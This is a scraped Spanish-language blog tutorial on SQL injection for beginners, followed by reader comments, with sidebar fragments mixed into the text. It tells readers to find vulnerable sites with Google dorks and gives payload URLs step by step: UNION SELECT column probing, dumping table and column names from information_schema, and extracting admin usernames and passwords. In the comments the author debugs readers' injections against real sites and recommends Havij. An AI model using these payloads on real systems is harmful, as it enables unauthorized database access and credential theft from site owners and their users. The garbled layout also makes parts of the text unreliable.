Professional Documents
Culture Documents
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
LOL
Pgina principal
Scams
Desings (Photos
Rss
hop)
Primero y antes que nada, debemos saber muy bien los conceptos de cada uno que tocaremos en e
ste tema.
Search...
Labels
2wire (3)
Aplicaciones (11)
bugs (8)
correo (1)
Defacing (12)
diseo grafico (1)
Epic Fail (1)
facebook (2)
Firefox (5)
gmail (1)
Hacking tools (9)
hardware (1)
hotmail (2)
Qu es SQL?
htaccess (1)
Significa un Lenguaje de Consulta Estructurado (en ingles Structured Query Languaje). Como su no
Humor (1)
mbre lo indica es un lenguaje para tener acceso a una Base de Datos que nos permite realizar varias o
Infografia (1)
peraciones en ella, como poder guardar informacin privada de un sitio web, contraseas, nombres, y
Internet (26)
otras cosas.
IP (5)
Java (3)
Sin embargo, muchos CMS Sistema de Gestin de Contenidos (en ingles Content Management Syste
m) utilizan SQL para acceder a una Base de Datos (PhpMyAdmin) y guardar informacin.
localhost (5)
Mexico (3)
CMS (Sistema de Gestin de Contenidos) no es ningn tipo de programa literalmente, sin embargo, es
programado para que los usuarios tengan la facilidad de crear su pagina web utilizando una base de d
atos.
Algunos CMS son muy populares como lo son; SMF, Wordpress, y Blogger entre otros.
Y qu significa SQLi?
Musica (1)
Papers (1)
Phishing (1)
Photoshop (1)
PHP (17)
SCAM (3)
Seguridad (9)
Son la abreviatura de SQL Injection. Aunque, SQLi es un bug bastante viejo, existen CMS o pginas we
Shell (2)
Software (6)
Temas (1)
Deb ido que es un post para principiantes y un poco largo, no ir muy a fondo sob re los conceptos, por e
Tutoriales (7)
Velocidad (1)
Videos (1)
Windows (9)
En Google, sin embargo, existen Dorks (Palabras claves para poder encontrar CMS vulnerables con fac
Windows 7 (6)
ilidad). De cualquier manera no es muy difcil encontrar sitios (Prob ab lemente) vulnerables a SQLi.
460,412
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
1/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
Post ms Populares
Logotipo de Google
Solo es cuestin de ingeniarse las palabras claves para encontrar sitios Web con este bug.
No entendiste? La Inyeccin SQL se empieza por encontrar en una url muy parecido a esto: /index.ph
p?id=28, sin embargo, la inyeccin se comienza en la variable id=28.
Shout Box
11 f eb 14, 09:56
Oloroko: Actualizando..
[mensajes antiguos]
2) Tambin podemos utilizar la barra lateral Izquierda para encontrar ms sitios vulnerables.
[Sw itchnode]
actualizar
nombre
mensaje
ok
ayuda emoticonos cbox
Canal de Youtube
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
2/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
S de lo contrario no muestra error, quizs el sitio no sea vulnerable.. (Pero no significa que no sea vu
lnerable a SQLi).
Como? Osea es vulnerable o no?
Djame explicarlo, muchos administradores no tienen idea lo fcil que es arreglar este bug (SQLi) en s
u pagina web, lo que ellos hacen es unicamente agregar una funcin en PHP para evitar que se muest
ren los errores de la web es un error muy grave que cometen los webmaster, ni ms ni menos, este e
s el sencillo cdigo PHP que utilizan:
<?php error_reporting(0); ?>
Cabe mencionar que es un error muy comn por parte de los administradores, ya que eso no arregla el
bug, sin embargo, el bug sigue all.. Es un problema para la seguridad de su sitio, ya que el atacante p
odr darse cuenta y seguir intentando hasta tener el usuario y contrasea de la administracin fcilmen
te.
Explicacin resumida:
Tenemos la siguiente pgina como ejemplo http://www.asfasd.com/index.php?cat=45
Agregamos una comilla al final de la url http://www.asfasd.com/index.php?cat=45'
Nos muestra el siguiente error You have an error in your SQL syntax; check the manual th
at corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Explotando el Bug
Segunda fase
Viene la parte un poco ms tediosa.
Informacin..
Avatar 2011
Ahora ya habamos visto que nos lanzo un error anteriormente y que si era vulnerable, ahora es tiempo
de buscar hasta encontrar la columna vulnerable.
Un ejemplo sencillo de como empezar la inyeccin tenemos lo siguiente /index.php?cat=45 ahora ant
es de la variable (45) y despus del signo (=) agregaremos el signo de menos (-) deber quedar as:
/articulo.php?articulo=-230 y agregamos el union y select y empezamos a partir del
numero 1 o el numero 0.
/articulo.php?articulo=-230+union+select+1-- (Muy importante poner los dos ltimo
s guiones).
Seguiremos as, hasta que no nos vuelva salir error como el anterior
Como sabre si el numero de la columna es vulnerable?
Al momento que veas uno o ms nmeros en la web y que no haya un error quiere decir que le hemos
dado a la columna vulnerable, un ejemplo real:
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
3/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
Columnas vulnerables
Lo que esta marcado en recuadro esos nmeros no son errores, y en la barra de direcciones esta la
semi-inyeccin.
En resumen los nmeros marca que podemos concluir la inyeccin en este caso me ir sobre el nume
ro 2 (color azul).
Hay que tener en cuenta tambin, la versin de la base de datos si es 5.*.* - comunity se podrn sacar
los nombres de las tablas y columnas, si de lo contrario es inferior a la versin 5, es decir versin 4 no
se podr extraer los nombres de las tablas y/o columnas, se tiene que hacer a ciegas y es un poco tedi
oso.
Para saber la versin de la base de datos (SQL) solo agregamos al final de union+select+1,2,3,4,5 dat
abase()
Tercera fase
Sacando nombre de las Tablas
Desde la barra de direcciones remplazamos el numero 2 por group_concat(table_name) debe quedar
algo as:
/articulo.php?articulo=-230+union+select+1,group_concat(table_name),3,4,5+from+
information_schema.tables-Tambin es importante agregar el +from+information_schema.tables-- al final, despus ingresamos
esa url y nos da como resultado todos los nombres de las tablas que existen en la Base de dados.
Ejemplo real:
Nota | Como se ve en la imagen, tenemos como resultado los nombres de las tablas. Pero hay un peq
ueo problema, el tamao de la pgina nos limita a que solo veamos una cierta cantidad de numero de
tablas (Por naturaleza).
Sin embargo, no hay nada que nos impida, pues gracias a una funcin de SQL podemos utilizar otra a
lternativa, en este caso ser la opcin limit que nos permitir limitar el rango de registro, y as poder ac
ceder a la tabla del administrador o la de usuarios.
En este caso hay que hacer lo siguiente, quitamos group_concat() y solo dejamos table_name y al fina
l de information_schema.tables agregamos +limit+1,1-- as quedar la url:
/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_sc
hema.tables+limit+1,1-Lo cul nos mostrar el nombre de la primer tabla, es decir, tendremos que buscar la tabla en donde s
e encuentra la del admin o la de usuarios
Nota | Puedes seguir utilizando la misma serie de 10 en 10 para que sea ms rpido de encontrar la ta
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
4/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
Extraccin de columnas
Otra alternativa pero utilizando la misma opcin es utilizando el limit lo cul solo nos imprimir el rango
de la columna que le indiquemos.
Ejemplo:
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
5/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
/articulo.php?articulo=-230+union+select+1,column_name,3,4,5+from+information_
schema.columns+where+table_name=char(97,100,109,105,110)+limit+0,1--
SQL Injection
: = 0x3a (Hexadecimal)
usuario = Columna
pwd = Columna
admin = Tabla
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
6/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
ack To
p
71
COMENTARIOS :
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
7/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
, yo si pude imprimir los nombres de las tablas..
A m me imprime la info hasta el numero '11' es decir:
/index.php?cat_id=-1,2,3,4,5,6,7,8,9,10,11-El numero vulnerable es el '1' lo puedes comprobar:
1+union+select+concat(database(),0x3a,version()),2,3,4,5,6,7,8,10,11-Te deber imprimir el nombre y la versin de la DB.. xD
Y all debers seguir hasta poder encontrar los nombres de las tablas hasta col
umnas..
Saludos, escribe cualquier duda q tengas
OverNet at lunes, agosto 08, 2011 4:12:00 p. m.
muy buen tuto en verdad me sorprendio, tengo una duda, podemos obtener o d
escargar toda una base cin este metodo? gracias
omega96 at jueves, agosto 25, 2011 11:40:00 p. m.
La verdad no conozco alguna forma de como poder descargar la Base de datos
*.sql si es a lo que te refieres.
Si te refieres poder imprimirlas existen herramientas que te permiten hacerlo, al
gunas estan en PHP cuando tenga tiempo las poste.
Existen herramientas para novatos, que incluyen la funcin para visualizar y pod
er guardar la Base de datos, el SQLi Helper y Havij.
Saludos
OverNet at viernes, agosto 26, 2011 3:05:00 p. m.
Muy buen post!
Muchas gracias amigo por compartir tu sabiduria con los demas!
ras3Ath0r at domingo, agosto 28, 2011 6:14:00 a. m.
Amigo muy bueno el post y muy util , tengo un problema al llegar al paso de extr
accion de usuario y contrasea. pongo al final from+usuario-- (en mi caso en la
pagina en la que estoy es usuario) y me salta el siguiente error: Error: SELECT *
FROM noticia WHERE id = -55 union select 1,group_concat(usuario,0x3a,pwd),3
,4,5,6,7,8,9 from usuario-- LIMIT 1
Unknown column 'usuario' in 'field list'
alguna idea?
dario! at mircoles, agosto 31, 2011 9:08:00 p. m.
El error que muestra es este:
Unknown column 'usuario' in 'field list'
Quizs no acepte 'group_concat()' intenta unicamente usando concat() es decir:
-55+union+select+1,concat(usuario,0x3a,pwd),3,4,5,6,7,8,9+from+usuario-si de lo contrario no funciona, intenta quitar el concat y hacer lo siguiente;
Columna usuario:
-55+union+select+1,usuario,3,4,5,6,7,8,9+from+usuario-Columna pwd:
-55+union+select+1,pwd,3,4,5,6,7,8,9+from+usuario-Si vuelve a salir el mismo error, quizas esten vacias las columnas o no existen.
OverNet at mircoles, agosto 31, 2011 9:48:00 p. m.
A mi al mirar los nombres de las columnas me aparece esto : Illegal mix of colla
tions for operation 'UNION'Que significa? Saludos!
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
8/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
9/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
ativo.
Una herramienta automatizada para principiantes nunca te dir el porque de las
cosas.
Saludos
OverNet at martes, enero 17, 2012 5:50:00 p. m.
si alguna vez lo usaste, sabrias decirme porque solo funciona 1 vez y luego deja
de funcionar, o funciona cuando quiere? :S
Annimo at martes, enero 17, 2012 6:55:00 p. m.
No tengo idea, es posible que tenga errores anti-script kiddies
OverNet at martes, enero 17, 2012 6:58:00 p. m.
Hola, obtuve una contrasea asi 414caf51f461495d4a8c4561c8c1f0b4:Oa
y no la puedo desencriptar (no es MD5 me parece, fijate que tiene ":") no se com
o desencriptarla, me podrias ayudar?
Annimo at mircoles, enero 18, 2012 11:50:00 a. m.
No tengo idea, de que tipo de hash es.
OverNet at mircoles, enero 18, 2012 1:37:00 p. m.
gracias eres un ejemplo de grandesa tio y a ese q prefiere el automatizado esta
muy equivocado porq si a 15 min lo que hace el helper y eso q llevo un tiempo u
sandolo bueno mil gracias hermano q dios te bendiga a seguir a asi suerteeee
Annimo at viernes, enero 20, 2012 4:28:00 a. m.
Se agradece.
Saludos
OverNet at viernes, enero 20, 2012 12:11:00 p. m.
oye amigo solo con una duda que significa el "230" que se coloca antes del sig
no "-" este numero puede variar?
Melestu at lunes, enero 23, 2012 12:30:00 a. m.
@Malestu, el '230' es unicamente la variable de la noticia, es decir, puedes emp
ezar la inyeccin con cualquier numero no altera en la inyeccin.
OverNet at lunes, enero 23, 2012 2:01:00 p. m.
Una herramienta automatizada para principiantes nunca te dir el porque de las
cosas.
mensajes claro at jueves, marzo 01, 2012 2:13:00 p. m.
Amigo que buen tuto !
enviar mensajes claro at viernes, marzo 16, 2012 11:55:00 a. m.
muy buenoo
Annimo at viernes, abril 13, 2012 1:41:00 p. m.
lo que si me ayudaran miren vereis no tengo mucha idea de esto pero intente c
on una web y me da error 404 y dice php 2.2 y apache 5.2.6 nose si eso se podri
a inyectar o si es vulnearable al sql no lo se pregunto muchas gracias si me pu
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
10/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
dieran responder mi name es sarah gracias
Annimo at viernes, abril 13, 2012 1:42:00 p. m.
El error 404 es un filtro de seguridad.
Y no es vulnerable.
OverNet at viernes, abril 13, 2012 2:06:00 p. m.
oye que sabes de varchar sqli??
Annimo at domingo, julio 01, 2012 12:27:00 a. m.
Llego a ahi y no pasa nada mas , ayuda
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
11/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
http://www.ribosomatic.com/articulos/como-evitar-sql-injection-en-nuestra-cons
ultas-phpmysql/
OverNet at martes, octubre 16, 2012 10:37:00 a. m.
mi pregunta es.. se puede tambien inyectar a paginas que no son desarrollada
s en php..es decir se podr en una ASP???
Annimo at mircoles, octubre 24, 2012 7:24:00 p. m.
Con este metodo no se puede, ya que es para PHP y de los archivos .php es do
nde esta el bug explotable.
En ASP si se puede hacer inyeccin pero es un poco ms dificil.
OverNet at mircoles, octubre 24, 2012 9:06:00 p. m.
oye amigo me estanque en el paso de string to ASCII, cuando la quiero convertir
a ASCII me da el codigo, pero cuando pongo el codigo asi: -230+union+select+
1,group_concat(column_name),3+from+information_schema.columns+where+t
able_name=char(85 83 69 82 95 80 82 73 86 73 76 69 71 69 83)-se supone que debe mostrar las claves y usuarios pero me manda este error: Y
ou have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '83 69 82 95 80 82 73 86 73
76 69 71 69 83)--' at line 1
que puedo hacer??
Annimo at martes, octubre 30, 2012 10:00:00 p. m.
Estas bien solo quitale los espacios y pones coma.
As:
-230+union+select+1,group_concat(column_name),3+from+information_schem
a.columns+where+table_name=char(85,83,69,82,95,80,82,73,86,73 76,69,71,6
9,83)-Intenta con eso.
OverNet at martes, octubre 30, 2012 10:30:00 p. m.
aaaaa ya entedi, gracias por resolverme mi duda
Annimo at mircoles, octubre 31, 2012 3:47:00 p. m.
oye cuando empiezo la inyeccin me aparece esto Warning: mysql_fetch_array()
: supplied argument is not a valid MySQL result resource in /home/content/a/k/a/
akanet/html/prod_detail.php on line 144
y por mas que continu la inyeccin sigue apareciendo el mismo mensaje osea
no cambia, que puedo hacer?
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
12/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
Asunto arreglado falto ponerle una coma.
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
13/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
OverNet at mircoles, enero 09, 2013 9:39:00 p. m.
wowwww you're a genius!!! como aprendiste todo eso!!!? cuanto tiempo tardaste
en aprendertelo?
Annimo at martes, enero 15, 2013 4:36:00 p. m.
Annimo, no se necesita aprenderse nada.
Por inercia es necesario saber estos temas para quien est interesado en prog
ramar su propio sitio en PHP y MySQL de all se empieza, programando.
OverNet at martes, enero 15, 2013 10:51:00 p. m.
Everyone loves it when people come together and
share opinions. Great blog, stick with it!
Also visit my web-site :: youtube software views
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
14/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
Annimo at jueves, abril 18, 2013 6:05:00 a. m.
hola gran tutorial mi pregunta es se puede sacar user y pass de una pagina qu
e termine en index.php
Saludos
Annimo at jueves, abril 25, 2013 1:22:00 a. m.
My brother recommended I might like this web site. He was totally right.
This post actually made my day. You cann't imagine simply how much time I had
spent for this info! Thanks!
My homepage :: cityville
Annimo at domingo, junio 16, 2013 10:19:00 a. m.
When someone writes an paragraph he/she retains the image
of a user in his/her brain that how a user can know it. Therefore that's why this po
st is perfect. Thanks!
Also visit my web page ... download cityville
Annimo at lunes, junio 17, 2013 6:39:00 a. m.
Saved as a favorite, I like your blog!
Here is my web page ... cheats in dragonvale
Annimo at martes, junio 18, 2013 12:29:00 p. m.
PUBLICAR UN COMENTARIO
EN LA ENTRADA
Introduce tu comentario...
Comentar como:
Publicar
Cuenta de Google
Vista previa
Pgina principal
Entrada antigua
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
15/16
13/2/2014
Tutorial de Inyeccin SQL para principiantes | # Root-Net | Seguridad, Software, Windows, e Informatica..
http://root-network.blogspot.com/2011/07/tutorial-de-inyeccion-sql-para.html
16/16